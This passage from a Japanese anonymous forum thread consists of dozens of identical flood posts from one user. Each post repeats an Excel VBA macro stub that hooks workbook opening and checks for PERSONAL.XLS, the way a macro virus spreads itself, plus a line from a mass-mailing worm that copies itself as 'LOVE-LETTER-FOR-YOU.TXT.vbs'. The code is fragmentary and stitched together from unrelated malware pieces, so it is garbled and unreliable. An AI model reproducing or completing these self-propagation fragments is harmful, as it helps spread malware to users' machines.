Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

605 番組の途中ですが名無しです :2012/01/31(火) 19:51:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

606 番組の途中ですが名無しです :2012/01/31(火) 19:51:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

607 番組の途中ですが名無しです :2012/01/31(火) 19:52:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

608 番組の途中ですが名無しです :2012/01/31(火) 19:52:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

609 番組の途中ですが名無しです :2012/01/31(火) 19:53:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

610 番組の途中ですが名無しです :2012/01/31(火) 19:53:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

611 番組の途中ですが名無しです :2012/01/31(火) 19:54:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

612 番組の途中ですが名無しです :2012/01/31(火) 19:54:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

613 番組の途中ですが名無しです :2012/01/31(火) 19:55:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

614 番組の途中ですが名無しです :2012/01/31(火) 19:55:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

615 番組の途中ですが名無しです :2012/01/31(火) 19:56:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

616 番組の途中ですが名無しです :2012/01/31(火) 19:56:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

617 番組の途中ですが名無しです :2012/01/31(火) 19:57:28 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

618 番組の途中ですが名無しです :2012/01/31(火) 19:57:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

619 番組の途中ですが名無しです :2012/01/31(火) 19:58:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

620 番組の途中ですが名無しです :2012/01/31(火) 19:59:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

621 番組の途中ですが名無しです :2012/01/31(火) 19:59:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

622 番組の途中ですが名無しです :2012/01/31(火) 20:00:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

623 番組の途中ですが名無しです :2012/01/31(火) 20:00:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

624 番組の途中ですが名無しです :2012/01/31(火) 20:01:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

625 番組の途中ですが名無しです :2012/01/31(火) 20:01:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

626 番組の途中ですが名無しです :2012/01/31(火) 20:02:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

627 番組の途中ですが名無しです :2012/01/31(火) 20:02:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

628 番組の途中ですが名無しです :2012/01/31(火) 20:03:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

629 番組の途中ですが名無しです :2012/01/31(火) 20:03:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

630 番組の途中ですが名無しです :2012/01/31(火) 20:04:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

631 番組の途中ですが名無しです :2012/01/31(火) 20:04:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

632 番組の途中ですが名無しです :2012/01/31(火) 20:05:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

633 番組の途中ですが名無しです :2012/01/31(火) 20:05:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

634 番組の途中ですが名無しです :2012/01/31(火) 20:06:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

635 番組の途中ですが名無しです :2012/01/31(火) 20:06:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

636 番組の途中ですが名無しです :2012/01/31(火) 20:07:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

637 番組の途中ですが名無しです :2012/01/31(火) 20:08:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

638 番組の途中ですが名無しです :2012/01/31(火) 20:08:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

639 番組の途中ですが名無しです :2012/01/31(火) 20:09:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

640 番組の途中ですが名無しです :2012/01/31(火) 20:09:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

641 番組の途中ですが名無しです :2012/01/31(火) 20:10:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

642 番組の途中ですが名無しです :2012/01/31(火) 20:10:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

643 番組の途中ですが名無しです :2012/01/31(火) 20:11:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

644 番組の途中ですが名無しです :2012/01/31(火) 20:11:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

645 番組の途中ですが名無しです :2012/01/31(火) 20:12:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

646 番組の途中ですが名無しです :2012/01/31(火) 20:12:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

647 番組の途中ですが名無しです :2012/01/31(火) 20:13:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

648 番組の途中ですが名無しです :2012/01/31(火) 20:13:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

649 番組の途中ですが名無しです :2012/01/31(火) 20:14:14 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

650 番組の途中ですが名無しです :2012/01/31(火) 20:14:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

651 番組の途中ですが名無しです :2012/01/31(火) 20:15:16 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

652 番組の途中ですが名無しです :2012/01/31(火) 20:15:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

653 番組の途中ですが名無しです :2012/01/31(火) 20:16:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

654 番組の途中ですが名無しです :2012/01/31(火) 20:16:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

655 番組の途中ですが名無しです :2012/01/31(火) 20:17:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

656 番組の途中ですが名無しです :2012/01/31(火) 20:17:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

657 番組の途中ですが名無しです :2012/01/31(火) 20:18:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

658 番組の途中ですが名無しです :2012/01/31(火) 20:18:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

659 番組の途中ですが名無しです :2012/01/31(火) 20:19:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

660 番組の途中ですが名無しです :2012/01/31(火) 20:19:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

661 番組の途中ですが名無しです :2012/01/31(火) 20:20:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

662 番組の途中ですが名無しです :2012/01/31(火) 20:21:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

663 番組の途中ですが名無しです :2012/01/31(火) 20:21:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

664 番組の途中ですが名無しです :2012/01/31(火) 20:22:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

